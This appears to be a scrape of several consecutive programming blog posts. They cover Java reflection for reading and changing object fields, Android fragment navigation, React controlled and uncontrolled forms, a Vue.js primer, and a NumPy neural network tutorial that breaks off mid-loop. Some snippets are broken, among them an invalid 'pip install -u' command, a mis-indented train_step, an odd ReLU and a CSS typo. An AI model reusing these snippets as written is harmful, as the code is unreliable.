Field name:     dni     class type:     class java.lang.String          value:  5896224CBN
Field name:     date    class type:     class java.util.Date            value:  Fri Jul 30 18:51:10 BOT 2021
Field name:     age     class type:     int             value:  20
Field name:     married class type:     boolean         value:  false
Field name:     address class type:     class Address           value:  City:   Duck town       Street: Donal Ave       Number: 204

Ahora sabemos comó obtener información acerca de los campos de User, resaltan las clases de los campos date y los de tipo 'String' java.lang.String, java.util.Date respectivamente, la clase Address, el valor devuelto por cada uno de estos campos es interesante en el caso del campo date y address que para retornar el valor llaman al método toString() que la clase Date y Address tienen implementado, de lo contrario la salida sería una dirección de memoria, algo asi:

Field name:     address class type:     class Address           value:  Address@23fc625e

Analizando el campo 'address'

Como vimos en la salida hace uso del método toString() para conocer el valor, pero si necesitamos conocer mas acerca de este objeto como crear nuevas instancias de esta para poder cambiar el valor, debemos hacer algunas cosas mas, esta es una sección complementaria y eres libre de pasar a la siguiente sección

Ya conocemos el nombre del campo o Field name (address) con eso podemos comenzar y tratarlo en un método separado si el nombre del campo coincide con "address".

public void lookFields(Object o){
    // ...
    for (Field f : oFields) {
        // ...
        String fieldName = f.getName();
        if(fieldName.equals("address")){
            instanceObject(f);
        }
        // ...
    }
}

private void instanceObject(Field f){ ... }

Con el método f.getType() sobre el objeto Field obtenemos el objeto Class que identifica el tipo declarado para el campo representado por este objeto Field.

Podemos repetir en mismo proceso anterior para obtener los campos y valores del objeto address usando getDeclaredFields(), es exactamente igual, lo interesante es crear un objeto de esa clase con valores que queramos cambiar y es lo que haremos.

Usando la clase Constructor del paquete java.lang.reflect y el método newInstance(Object... initargs) : T podemos crear una nueva instancia de la clase declarada por el constructor, con los parámetros de inicialización especificados.

Address tiene los campos: String : city, String : street y int : number, el orden y tipos de datos son muy importante para el objeto Constructor con la clase con el método getConstructor(Class<?>... parameterTypes) que recibe como parámetro objetos Class que identifican los tipos de parámetros formales del constructor, en el orden declarado.

private Object instanceObject(Field f){
    Class<?> fclassType = f.getType();
    Object o = null;
    try{
        Constructor<?> cons = fclassType.getConstructor(String.class, String.class, int.class);
        String city = "New City";            
        String street = "New Street";
        int number = 888;
        o = cons.newInstance(city, street, number);
        System.out.println("Object:\t"+ o);
        System.out.println("Class Object:\t"+ o.getClass());
    }catch (NoSuchMethodException |
    InvocationTargetException | InstantiationException | IllegalAccessException e) {
        e.printStackTrace();
    }
    return o;
}

Salida:

Object: City:   New City        Street: New Street      Number: 888
Class Object:    class Address

Como observamos ya tenemos una instancia del objeto Address con los campos diferentes, esto servirá cuando queramos modificar un campo.

Modificando campos

La clase Field posee métodos para modificar campos de tipo primitivo, y set​(Object obj, Object value) donde obj es el objeto al que pertenece el campo a modificar y value el nuevo valor para el campo de obj que se está modificando, si el argumento del objeto especificado no es una instancia de la clase o interfaz (User) que declara el campo del objeto, el método arroja un IllegalArgumentException e IllegalAccessException

Añadimos el método changeFields(Object o) y changeFieldValue para cambiar el valor de los campos, hasta este punto ya conocemos en nombre de los campos y podemos efectuar cambios.

import java.lang.reflect.Field;
import java.util.Date;
// ....
    public void changeFields(Object o){
        Class<?> oClass = o.getClass();
        Field[] oFields = oClass.getDeclaredFields();
        System.out.println(o);
        for(Field f : oFields){
            f.setAccessible(true);
            try {
                Object valueChanged = changeFieldValue(f.getName());
                f.set(o, valueChanged); // Set the field value
            } catch (IllegalArgumentException | IllegalAccessException e) {
                e.printStackTrace();
            }
        }
        System.out.println(o);
    }

    private Object changeFieldValue(String fieldName){
        Object obj = null;
        switch (fieldName) {
            case "name" -> obj = "Este es un nombre cambiado";
            case "dni" -> obj = "Un nuevo DNI";
            case "date" -> obj = new Date();
            case "age" -> obj = 55;
            case "address" -> obj = new Address("Toronto", "Queen ave", 404);
            case "married"  -> obj = false;
        }
        return obj;
    }

Salida

Name:   Pedro Perez Pereira     DNI:    5896224CBN      Age:    25      Married:        true    Address:        City:   CBBA    Street: Av. Pando       Number: 204     Date:   Sat Jun 12 23:16:34 BOT 2021
Name:   Este es un nombre cambiado      DNI:    Un nuevo DNI    Age:    55      Married:        false   Address:        City:   Toronto Street: Queen ave       Number: 404     Date:  Sat Jun 12 23:16:35 BOT 2021

Puedes crear una instancia para el campo address como se vio en la sección Analizando el campo address

Repositorio

click aquí

Referencias

• Java Object
• Java Class
• Java Reflect
• Java Field
• Java Method
• Java Modifier
• Constructor

En cuanto a la navegación de fragmentos en android existen diferentes maneras de hacerlo, sin embargo una reciente y aconsejada es el uso de NavHostFragment, en este post veremos algunos conceptos de navegación y como implementarlos con el NavHostFragment en un pequeño proyecto.

Referente a la navegación en android, existen 3 principios que podemos resumir:

1er Principio: Siempre hay un punto de inicio!

Cuando sea que iniciamos la app se mostrara una primera pantalla que será la que nosotros deseemos.
En nuestro caso nuestra aplicación contara con varios fragmentos siento el FragmentA nuestro punto inicio

Empezamos creando un proyecto en Android Studio con un blank activity, luego creamos nuestro primer fragmento
FragmentA

FragmentA.kt

package com.example.navhostfragmentdemo

import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup

class FragmentA : Fragment() {
    override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View? {
        return inflater.inflate(R.layout.fragment_a, container, false)
    }
}

Con su respectivo layout

fragment_a.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:gravity="center"
    android:orientation="vertical"
    tools:context=".FragmentA">
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:gravity="center_horizontal"
        android:text="Fragment A"
        android:textColor="@color/black"
        android:textSize="48dp" />
    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Go to fragment B" />
</LinearLayout>

De esta manera ya se tiene el FragmentA listo, faltando colocarlo en el layout del mainActivity de la siguiente forma

activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity">

    <fragment
        android:id="@+id/fragmentA"
  android:name="com.example.navhostfragmentdemo.FragmentA"
        android:layout_width="match_parent"
        android:layout_height="match_parent" />

</LinearLayout>

Y el main activity lo dejamos tal y como fue creado

MainActivity.kt

package com.example.navhostfragmentdemo

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
    }
}

Pueden hacer correr el proyecto y el resultado será el siguiente

Hasta ahora lo único que hicimos fue

• Crear proyecto
• Crear FragmentA
• Insertar el FragmentA en el layout del Main activity

2do Principio:Siempre puedes volver atrás (Backstack)

El backstack es una estructura de almacenamiento de tipo FILO(First In Last Out), que almacena nuestras vistas que tengamos en la app.
Sea nuestro punto de inicio el FragmentA, al ir hacia otra vista(FragmentB), esta nueva vista será puesta encima de nuestro punto inicial, y lo mismo cuando se vaya del FragmentB al FragmentC

Para la utilizar el navigation component debemos crear un resource de tipo Navigation que será el grafo contenedor de nuestros fragmentos

Nota: En caso de que al crear el resource no les salga el mensaje de error de las bibliotecas lo pueden agregar manualmente en el build.gradle de su proyecto

build.gradle

dependencies {
    ...
    implementation 'androidx.navigation:navigation-fragment-ktx:2.3.0'
    implementation 'androidx.navigation:navigation-ui-ktx:2.3.0'
}

En el principio #1 insertamos el FragmentA en el activitymain.xml, si usamos el navigation architectural component, el NavHostFragment debe ser el contenedor de todos los fragmentos, por tanto debemos reemplazarlo

activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity">

    <fragment
        android:id="@+id/myNavHostFragment"
        android:name="androidx.navigation.fragment.NavHostFragment"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        app:defaultNavHost="true"
        app:navGraph="@navigation/navigation" />

</LinearLayout>

Asignamos un nuevo nombre al fragmento "myNavHostFragment" y cambiamos el tipo a androidx.navigation.fragment.NavHostFragment
También aumentamos la línea

app:defaultNavHost="true"

que interceptara cuando sea que apretemos el back button de android.
La línea

app:navGraph="@navigation/navigation"

nos sirve para especificar que resource usara el NavHostFragment

Con los pasos anteriores realizados nos encontramos listos para manipular nuestro grafo con los fragments que deseemos
Haciendo click en el navigation.xml que creamos, nos aparecerá una pantalla vacío, y agregamos el punto inicial que sería nuestro FragmentA haciendo click en el botón de New destination

De igual manera que se creó que el "FragmentA" podemos crear un "FragmentB" de similar estructura y los vinculamos como se observa a continuación

Y al momento de crear sus vínculos, se crean acciones, las cuales las usaremos posteriormente

Están vinculados, pero no hay una acción que haga que de un fragment vaya a otro, por tanto , debemos implementar un clicklistener al botón del FragmentA

FragmentA

 override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View? {
        val view  = inflater.inflate(R.layout.fragment_a, container, false)
        val buttonA = view.findViewById<Button>(R.id.actionButton)
        buttonA?.setOnClickListener{ view : View ->
            Navigation.findNavController(view).navigate(R.id.action_fragmentA_to_fragmentB)
        }
        return view.rootView
    }

Lo que hace la línea

Navigation.findNavController(view).navigate(R.id.action_fragmentA_to_fragmentB)

es encontrar el controlador de navegacion y navegar según la acción que se creó al momento de vincular el FragmentA con el FragmentB
Como resultado tenemos lo siguiente:

Podemos notar que no tenemos el botón para volver atrás dentro la app, pero si responde al back button del dispositivo.
Para arreglar este problema, cuando usemos NavHostFragment debemos hacer unos cambios en el activity contenedor de la navegación que en este caso es el MainActivity, los métodos onCreate y sobrescribir el método onSupportNavigateUp

MainActivity

override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        val navController = Navigation.findNavController(this, R.id.myNavHostFragment)
        NavigationUI.setupActionBarWithNavController(this, navController)
    }


    override fun onSupportNavigateUp(): Boolean {
        return findNavController(R.id.myNavHostFragment).navigateUp()
                || super.onSupportNavigateUp()
    }

En el onCreate se encuentra el controlador de navegación y lo incrustamos justo en el actionBar.
Luego el override al método onSupportNavigateUp devolverá la respuesta que nuestro componente de navegación retorne o el default en caso de no estar configurado

De tal manera ya estamos respetando el 2do principio de siempre poder volver atrás

3er principio: Up goes back (Mostly)

Este principio se basa en que existen dos maneras de volver atrás, una por el up button (flecha de la app que va atrás) y el back button(botón para volver del dispositivo).
El up button y el back button operan de la misma manera dentro la app, con la única excepción que cuando estemos en el punto de inicio, el FragmentA, el up button no tiene a donde mas volver atrás, así que simplemente desaparece o debería, pero el back button si funciona, saliendo de la aplicación.
Se agrego un FragmentC para terminar el experimento, funciona igual que el FragmentB, se muestra como funciona el up y el back button

Si desean mas información sobre esto pueden dirigirse a la documentacion:

• https://developer.android.com/guide/navigation/navigation-principles
• https://developer.android.com/guide/navigation/navigation-getting-started

El repositorio con todo lo avanzado
https://github.com/beldier/navHostFragmentIntro

Gracias por su atención, en otro post estaré explicando los safeargs, navegación condicional y otros truquitos.

Nos pasamos años sin vivir en absoluto, y de pronto toda nuestra vida se concentra en un solo instante (Wilde)

• Cristal

Entre los elementos más comunes de una aplicación web son los formularios. Aquellos que te brindarán información del usuario. Al momento de implementar una tecnología como React, los mismos te ofrecen maneras de operar con formularios. En este articuló aprenderás las dos alternativas "nativas" de React para manejar estos elementos, cuando usar cada uno y las ventajas y desventajas de los mismos.

Componentes Controlados

Un campo de un formulario cuyos valores son controlados por React de esta forma es denominado “componente controlado”
Componentes Controlados - Documentación de React

Cuando usamos componentes controlados implica que React controlará el renderizado y la interacción con el usuario de un formulario. Para aplicarlo podemos crear un estado el cual estará conectado con las etiquetas de campo: input, textarea o select

export const Form = () => {
	const [nameInput, setNameInput] = useState("");

	const handleChange = (event) => {
    setNameInput(event.target.value);
  }

  const handleSubmit = (event) => {
    alert('A name was submitted: ' + nameInput);
    event.preventDefault();
  }

  return (
    <form onSubmit={handleSubmit}>
      <label>
        Name:
        <input type="text" value={nameInput} onChange={handleChange} />
      </label>
      <input type="submit" value="Submit" />
    </form>
  );
}

En esta solución realiza que React sea la "Fuente de la verdad" por este motivo, el valor que se muestra, el manejo del evento de cambio en el campo de texto y el estado están conectados todos entre sí y manejados por detrás con React.

Características principales

• La "fuente de la verdad" es React
• Si un campo de texto depende de la actualización de estado, es considerado un componente controlado
• No depende de la etiqueta form para que sea considerado un componente controlado
• Cada cambio en la información pasa por una actualización de estado

Ventajas de los componentes Controlados

• Debido a que todo está conectado entre sí, podemos controlar el formulario desde otras partes de la aplicación
• Puedes implementar validaciones en tiempo real cuando el usuario escribe, ya que los datos son actualizados en cada input

Desventajas de los componentes Controlados

• Si no están controlados, crean renders innecesarios, para solucionarlo se pueden aplicar varias técnicas, incrementando la complejidad del código.
• Incremento menor en las líneas de código.

Componentes No Controlados

"Los componentes no controlados, donde los datos del formulario son manejados por el propio DOM."
Componentes no controlados - Documentación de React

Los componentes no controlados como su nombre lo indica es lo contrario de un componente controlado. Es decir en un componente no controlado dejamos que el mismo formulario sea la "fuente de la verdad". Es lo más parecido al HTML de toda la vida. Un componente no controlado se puede realizar de dos formas, creando un ref por cada input o creando un ref para todo el formulario y usando la web API formData para el manejo del mismo.

Tecnica de componente no controlado, usando multiples ref de React

export const Form = () => {
	const inputRef = useRef(null);

	const handleSubmit = (event) => {
    alert('A name was submitted: ' + inputRef.current.value);
    event.preventDefault();
  }

  return (
    <form onSubmit={handleSubmit}>
      <label>
        Name:
        <input type="text" ref={inputRef} />
      </label>
      <input type="submit" value="Submit" />
    </form>
  );
}

Características principales

• El DOM es el encargado de administrar la información
• Los inputs o el formulario deben estar conectados a un "ref" de React

Ventajas de los componentes no controlados

• Implementar un componente no controlado deja al HTML el manejo de los datos por lo cual significa que por parte del mismo no generará renders.
• Implementación rápida.

Desventajas de los componentes no controlados

• Debido a que un componente no controlado su información es más local que un componente controlado, el acceso a la información y manipulación del mismo en otros lugares de la aplicación llega a ser más complicado.

Conclusiones

Un componente controlado nos da mayor "control" como menciona su nombre de lo que está pasando con los valores en tiempo real, pero con cierto costo con respecto a líneas de código además que si no se lo controla puede crear renders innecesarios y un componente no controlado será aquel que te enteraras de lo que pasa después de algún evento perdiendo cierta información de lo que está pasando en tiempo real. Dependiendo del problema con el que te enfrentes utiliza la estrategia que mejor te parezca.

Hola a todos, este blog es para darle un vistazo rápido y compacto a como se desarrolla aplicaciones con este framework, veremos la sintaxis que usa el template de archivos de vue como las características que esta poseen, esta guía es válida para las versiones 2 y 3. Con conocimientos básicos de HTML, CSS y JS, ya es posible entender esta guía al 100%. Dicho esto comenzamos.

Contenidos

1. Que es Vue.js
2. Como crear un proyecto en vue
   2.1 Vue CLI
   2.2 Vite
3. Template
   3.1 Directivas
   3.1.1 Renderizado condicional con v-if y v-else
   3.1.2 Renderizado de lista con v-for
4. Script
   4.1 Invocación de Eventos
5. Styles
6. Conclusión

Que es Vue.js

Vue es un framework progresivo para construir interfaces de usuario, que es fácil de utilizar e integrar con otras librerías o proyectos existentes, de codigo abierto. Similar a Angular, React y Svelte.

Como crear un proyecto en Vue.js

Para poder crear un proyecto en Vue.js es necesario tener instalado nodejs en nuestro computador.
Mencionar que en esta sección no se tomara la instalación por CDN, ya que no van acordes a los ejemplos de la guia, pero si desean saberlo les dejo el link, Instalacion por CDN.
Existen dos formas válidas de crear un proyecto uno es usando Vue CLI y la otra es con Vite, dejare una pequeñas descripciones para que elijan cuál les llama mas la atencion.

Vue CLI

Es una herramienta para construir el entorno de Vue.js completa sin estar peleando con las configuraciones, con la flexibilidad de poder elegir las herramientas con las que deseas construir el entorno. todo desde la línea de comandos de una forma interactiva.
También viene con el plus de añadir nuevas herramientas dentro del entorno a un futuro de forma rápida mediante comandos.
Haremos todo este proceso con npm.
Primero debemos de descargar la herramienta que nos permite generar estos entornos:

npm install -g @vue/cli @vue/cli-service-global

Y/o verificamos las instalación con:

vue --version

Y creamos el proyecto con:

vue create nombre-app

Mencionar que esta herramienta construye al entorno de Vue.js con webpack.
Para mas informacion de como crear un proyecto en Vue CLI.

Vite

Vite es una solución relativamente nueva para crear entornos de Vue.js que usa esbuild. No da opción a incrementar con otras herramientas dentro del entorno rapidamente como la hace Vue CLI . Pero promete ser mucho más rápido que la anterior y viene con lo necesario para empezar a desarrollar.
Para crear un proyecto usamos:

npm init vite@latest

Y seguimos las instrucciones que nos da para crear el proyecto en Vue.js.
Esta herramienta nos crea el entorno usando Vue 3 pero en esencia no cambia a lo que veremos en la guía.

Template

Si es tu primera vez creando un proyecto en vue, y creaste un nuevo proyecto, te recomiendo que apliques todos estos conceptos en el archivo App.vue.
El template es donde se escribe el HTML de la instancia las directivas y donde se invocarán los eventos.

<template>
    <div>
        <p> Hola Mundo </p>
    </div>
</template>

Es importante que el template solo tenga un único hijo directo, para contener a todas las etiquetas que se renderizan, en este ejemplo el elemento padre es el div, pero no necesariamente tiene que ser un div, esto en la versión 2 de Vue, para la versión 3 ya no es necesario seguir esta regla.

Directivas

Las directivas de Vue es como renderizamos el HTML de la instancia. Las más usadas con v-if que renderiza un elemento con una booleano y v-for que itera un array de elementos.

Renderizado condicional con v-if y v-else

La directiva v-if tiene que estar en el elemento que se desea renderizar condicionalmente y contener booleano para comprobar si se debe de renderizar o no.

<template>
    <div>
        <div v-if="Math.random() > 0.5">
          Ahora me ves
        </div>
        <div v-else>
          Ahora no
        </div>
    </div>
</template>

En este caso, el 'Ahora me ves' se renderiza si el número randómico es mayor a 0.5, caso contrario se renderiza el 'Ahora no'.
Más información respecto al tema en Renderizacion Condicional.

Renderizado de lista con v-for

Se agrega el atributo v-for a la etiqueta que se desea usar para la iteración.

<template>
    <div>
        <ul>
          <li v-for="number in [1, 2, 3, 4, 5]">
            {{ number }}
          </li>
        </ul>
    </div>
</template>

Y de esta manera queda una lista de números en el HTML.

<div>
    <ul>
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
        <li>5</li>
    </ul>
</div>

El number representa la variable el elemento que se está iterando y el array de números es la estructura que estamos iterando, esta no necesariamente tiene que estar en el HTML sino que podemos tenerla en una variable dentro de la instancia.
Más información respecto al tema en Renderizacion de Lista.

Script

El script es el contenedor del JS que se usa en la aplicación que vendría siendo la logia, similar a como se incrusta JS en el HTML. Vue maneja options API que son secciones que manejan alguna característica de vue, que tienen que estar contenidas en el export default, donde las más importante es la sección de Data donde rescatamos a la opción de methods que sirve para agregar métodos a la instancia de Vue y data que maneja y almacena todas las variables que se usarán dentro de la instancia.

<script>
    export default {
        data() {
            return {
                bestForum: 'SCESI'
            }
        },
        methods: {}
    }
</script>

Para todas las variables que están en data, estas variables se pueden acceder dentro del script con this como si se tratase de un atributo del objeto.
Acceder desde un método de la instancia:

methods: {
    sayHelloToTheBestForum() {
        console.log('Hello' + this.bestForum)
    }
}

Acceder desde el template:

<template>
    <div>
        <p>{{ bestForum }}</p>
    </div>
</template>

Existen otras options API como los Hooks del Ciclo de Vida de Vue y las Propiedades Computadas y Observables.

Invocación de Eventos

Los eventos son necesarios para interactuar con la aplicación, estos son invocados como atributos de HTML pero que inicien con un v-on o también con @ que este es un alias identificarlos como eventos, y luego especificar qué evento se quiere invocar.

<template>
    <div>
        <div>{{count}}</div>
        <button @click="addCount()">Click Me</button>
        <!-- o -->
        <!-- <button v-on:click="addCount()">Click Me</button> -->
    </div>
</template>

<script>
    export default {
        data() {
            return {
                count: 0
            }
        },
        methods: {
            addCount(){
                this.count += 1
            }
        }
    }
</script>

Existe una gran cantidad de eventos disponibles, para aprender mas ver en Manejo de Eventos.

Styles

Style son para contener los selectores que se usarán dentro de la instancia, y pueden ser enlazadas directamente al HTML de la instancia.

<template>
    <section class="frontend-layout">
        <p>Hola Mundo</p>
    </section>
</template>

<style scoped>
    .frontend-layout {
        min-heigth: 100vh;
    }
    p {
        color: red;
    }
</style>

El atributo opcional scoped se usa para que las selectores tengan valor solo dentro de la instancia que donde estén escritas, su uso es recomendable por no decir obligatorio. Ya que no usarlo puede traer problemas a un futuro si no se manejan los estilos con una metodología correcta.
Existen distintas maneras de enlazar clases y estilos al template de la instancia más explicado en Enlace de Clases y Estilos.

Conclusión

Este es mi primer blog, espero que les sirva, trate de comprimir lo más importante, omitiendo quizás algunos contenidos.
Este es un framework muy fácil de aprender, y no contiene tantos tecnicismos como otros. También hace recuerdo a tener todo en un HTML con el CSS y el JS incrustados en etiquetas.
Si se quedaron con ganas de más traere otra guia de uso y comunicación de componentes proximamente.
Para aprender más sobre Vue y su entorno está la Guia en Español Vue.js.
Con esto me despido, si tienen alguna duda o sugerencia no duden en escribirme, me pueden contactar por mis redes sociales.

Recommendations: This blog shows some mathematical expressions that looks bad in dark theme, It's recommended to read this blog in light theme.

Content

• introduction
• What is NumPy?
• Starting
  • tools
  • environment
• coding
  • Neural network and perceptron
  • Layer
  • Activation function
  • Neural Network Model
  • Testing our model
  • Training the model
  • Calculation of losses
  • Calculation of gradients
  • Training cycles
  • Testing our model with real data
• Source code

Introduction

Welcome, in this blog I will teach you to program a neural network in a few code lines using only the Numpy library.

It is recommended that you have previous basic knowledge of python, numpy and a bit of lineal algebra.

What is NumPy?

Numpy is a library for the Python programming language that supports creating large multidimensional arrays and vectors, along with a large collection of high-level mathematical functions to operate on them.
More info Here.

Starting.

Tools

• Python 3: First we need to install python, any version> 3.5 will do, in this case we will use Python 3.8
  On another occasion I will blog on how to install python correctly, for now you should find out how to do it.
• A code editor: You can use the one you like the most, here some examples: Visual code, Atom

Environment

We will use a virtual environment to facilitate things using virtualenv that is already included in the python installation.

For create a virtual environment run this in your terminal.

# We first create our project folder.
mkdir neural_network 

# We move to the folder.
cd neural_network

# This creates the virtual environment in my_env folder
python3 -m venv my_env 

For activate the virtual environment run.

source my_env/bin/activate

Now we are going to install the Numpy library in the virtual environment.

# upgrade the pip
pip install -u pip

#install numpy library
pip install numpy

Coding

Neural network and perceptron

A neural network is made up of functions like artificial neurons or perceptrons.

A perceptron is composed of a linear function, and an activation function.

Mathematically the perceptron would look like this:

• $y = f(wx + b)$

$$y = f(x_1w_1 + x_2w_2 + x_3w_3 + b)$$

• "x" is the data or signal it receives from another neuron
• "w" is the weight that the signal received will have.
• "b" is the bias of the neuron that corrects the prediction, in a linear equation "y" = "b" when all "x" is equal to 0.
  In our implementation we will calculate the predictions in this way.
• "f()", is the activation function, then we explain about this

The variables "w" and "b" control the result of the output "y". See this example

$$
y = f(X_{(m,i)} \cdot W_{(i,n)} + B_{(m,n)})
$$

where:

• "X,W,B" are matrix
• "m" is the input examples number
• "i" is the inputs number
• "n" is the outputs number

Layer

Open your code editor, create the file "neural_network.py" and write this.

class Layer:
    def __init__(self, neurons):
        self.neurons:int = neurons # the layer neurons
        self.shape:tuple = None # input shape
        self.W = None # the wight matrix, shape (inputs, neurons)
        self.B = None # the bias matrix,  shape (1, neurons)

    def forward(self, X): # output shape (input_examples, neurons)
        if self.shape is None:
            self.init_layer(X)
        return np.matmul(X, self.W) + self.B # matrix multiplication

    def init_layer(self, X):
        self.shape = (X.shape[-1], self.neurons) # X.shape (input_examples, input_data_size)
        # create initial parameters
        self.W = np.random.rand(*self.shape) * 2 - 1
        self.B = np.random.rand(1, self.neurons) * 2 - 1

    def __call__(self, X, training=False):
        Y = self.forward(X)
        if training: # if the model is training
            self.X = X
            self.Y = Y
        return Y

This is the implementation of a layer, a layer is a set of neurons receiving the same inputs

But, this is layers of linear functions, only it can do linear regressions.
For make a neural network, the layers need activation functions. we will implement it.

Activation function

First we implement the activation functions, this are the sigmoid activation and tanh activation
Sigmoid:

Tanh:

ReLU:

We implement it:

# a dict for select a activation function
activations = {
    'sigmoid': {
        'function': lambda X: 1 / (1 + np.e**(-X)),
        'derivative': lambda X: np.e**(-X) / ((1 + np.e**(-X))**2)
    },
    'tanh': {
        'function': lambda X: np.tanh(X),
        'derivative': lambda X: 1 - np.tanh(X) ** 2
    },
    'relu': {
        'function': lambda X: ((X / (X.max() + 1)) * (X > 0)),
        'derivative': lambda X: 1 * (X >= 0)
    }
}

Now, the Layer with activation function.

class Dense(Layer): # this inherits from the Layer class
    def __init__(self, neurons, activation='sigmoid'): # sigmoid activations for default
        super().__init__(neurons) # init the layer 
        self.activation:dict = activations[activation] # get specific activations functions

    def forward(self, X):
        Y = super().forward(X)
        return self.activation['function'](Y) # calculate with activations function

Neural Network Model

Finally, the neural network.

class Model:
    def __init__(self, layers:list=[]):
        self.layers:list = layers

    def add(self, layer: Layer):# add a Layer
        self.layers.append(layer)

    def forward(self, X, training=False): # forward in all layers
        Y = X
        for layer in self.layers:
            Y = layer(Y, training)
        return Y

    def __call__(self, X, training=False):
        return self.forward(X, training)

Testing our model.

In other file "test_model.py" copy this:

import unittest
import numpy as np
from neural_network import Dense, Layer, Model

def testing_model_outputs(model: Model, condition):
    examples: int = np.random.randint(512) + 1  # random number of examples between 1-512
    inputs: int = np.random.randint(256) + 1  # random number of inputs between 1-256
    X = np.random.rand(examples, inputs)
    Y = model(X)
    assertion = condition(X, Y)
    return assertion

def add_many_layers_to_model(model: Model, layer:Layer):
    layers = np.random.randint(10) + 1  # random number of layers between 1-10
    for _ in range(layers):
        neurons = np.random.randint(128) + 1
        model.add(layer(neurons))

class TestNeuralNetwork(unittest.TestCase):
    def test_model_without_layers(self):
        """
        The model has no intermediate layers, the input and output must be the same 
        because the data was processed
        """
        assert testing_model_outputs(
            Model([]),
            # input and output are the same, so their subtraction is 0
            condition=lambda X, Y: np.mean(Y - X) == 0
        )

    def test_model_number_of_examples_constant(self):
        """
        The input and the output are different but must have the same number of examples.
        If the input is from (m, i) the output must be from (m, n)
        """
        model = Model([])
        add_many_layers_to_model(model, Layer) # let's pass the Layer class as an argument
        assert testing_model_outputs(
            model,
            # X.shape[0] is the number of examples
            condition=lambda X, Y: Y.shape[0] == (X.shape[0])
        )

    def test_model_output_shape(self):
        """
        if you have an input with the form (m, i) and the last layer has "n" neurons, 
        the output must have the form (m, n)
        """
        model = Model([])
        add_many_layers_to_model(model, Layer) # let's pass the Layer class as an argument
        last_layer_neurons = 3
        model.add(Layer(last_layer_neurons))
        assert testing_model_outputs(
            model,
            # X.shape[0] is the number of examples of the input
            condition=lambda X, Y: Y.shape == (X.shape[0], last_layer_neurons)
        )
if __name__ == "__main__":
    unittest.main()

Don't panic!, this is just a test to see if the model works.
In this file 3 tests are carried out:

test_model_without_layers: the model has no layers, the input is not rendered, so the model returns the input as output.

test_model_number_of_examples_constant: the models have a random number of layers, but the number of examples must be the same, for example, if it receives 4 mathematical exercises it will deliver 4 mathematical exercises

test_model_output_shape: in the previous test we saw that the number of examples is constant, but each example must have the same number of outputs as the number of neurons in the last layer.

run:

python test_neural_network.py

output:

...
----------------------------------------------------------------------
Ran 3 tests in 0.009s
OK

This means it works. As an exercise you can add a method to the TestNeuralNetwork class and create a model with Dense layers, the model must return random values between 0-1
You can also initialize the Dense layers with a second argument "tanh" if the last layer has this parameter it will return values between -1 to 1

Training the model

We have the neural network implemented, now we need to train it.

Calculation of losses

We create a new file in the same folder "training_model.py" and we start typing this:

import time
import numpy as np

# we import our model
from neural_network import Model

def mse(Y, target):
    return np.mean((target - Y) ** 2, axis=1)

def d_mse(Y, target):
    return (2 * (Y - target)) / Y.shape[1]

"mse" mean square error, the error calculation model

• "m", is the output examples number.
• "t", targets
• "y", output prediction for the model

Calculation of gradients

Now type this in the same file:

def train_step(model: Model, X: np.ndarray, target: np.ndarray, lr: float):
Y = model(X, training=True) # model prediction
    acc = np.int64(target.argmax(axis=1) == Y.argmax(axis=1)).mean() # accuracy
    loss: np.ndarray = mse(Y, target) # prediction loss
    gradients = [] # gradients 
    for layer in reversed(model.layers): # Back-propagation
        derivative = layer.activation['derivative'] # activation derivative
        if layer == model.layers[-1]:
            fault: np.ndarray = d_mse(Y, target)
        # calculating the fault of the neuron
        fault = fault * derivative(layer.Y)
        # Gradient calculation
        gradient: np.ndarray = np.matmul(fault.T, layer.X).T
        b_gradient: np.ndarray = np.matmul(
            fault.T, np.ones((X.shape[0], 1))).T
        gradients.append((gradient, b_gradient)) # save to gradients
        # update fault for back layer
        fault: np.ndarray = np.matmul(fault, layer.W.T)

    for layer, gradient in zip(reversed(model.layers), gradients):
        gradient, b_gradient = gradient
        layer.W = layer.W - lr * gradient # Update weights
        layer.B = layer.B - lr * b_gradient # Update bias

    return loss.mean(), acc

Important functions and variables:

• gradient, is a vector that indicates where the new value of the weights "W" should move to
• b_gradient, gradients for the bias "B"
• update_parameters, this functions update the "W" and "B using the gradients"
• lr learning rate, is the step size that the weights "W" travel to approach the point of least loss

Gradient calculations are very complex. It is calculated in this way.

Training cycles

Type this code:

def fit(model: Model, X: np.ndarray, targets: np.ndarray,
        batch_size: int, epochs: int, learning_rate: float = 0.0001):
    # X and targets must have the same number of examples
    assert X.shape[0] == targets.shape[0]
    for epoch in range(epochs):

        last_examples = len(X) % batch_size
        # batching the inputs
        x = list(X[last_examples:].reshape(
            len(X) // batch_size, -1, X.shape[-1]))
        if X[:last_examples].size > 0:
            x.append(X[:last_examples])
        # batching the targets
        target = list(targets[last_examples:].reshape(
            len(X) // batch_size, -1, targets.shape[-1]))
        target.append(targets[:last_examples])
        # metrics variables
        error = None
        accuracy = None
        start = time.time()
        # epoch iteration
        print(f'Epoch: {epoch+1}:')
        for i, inp, tar in zip(range(len(x)), x, target):
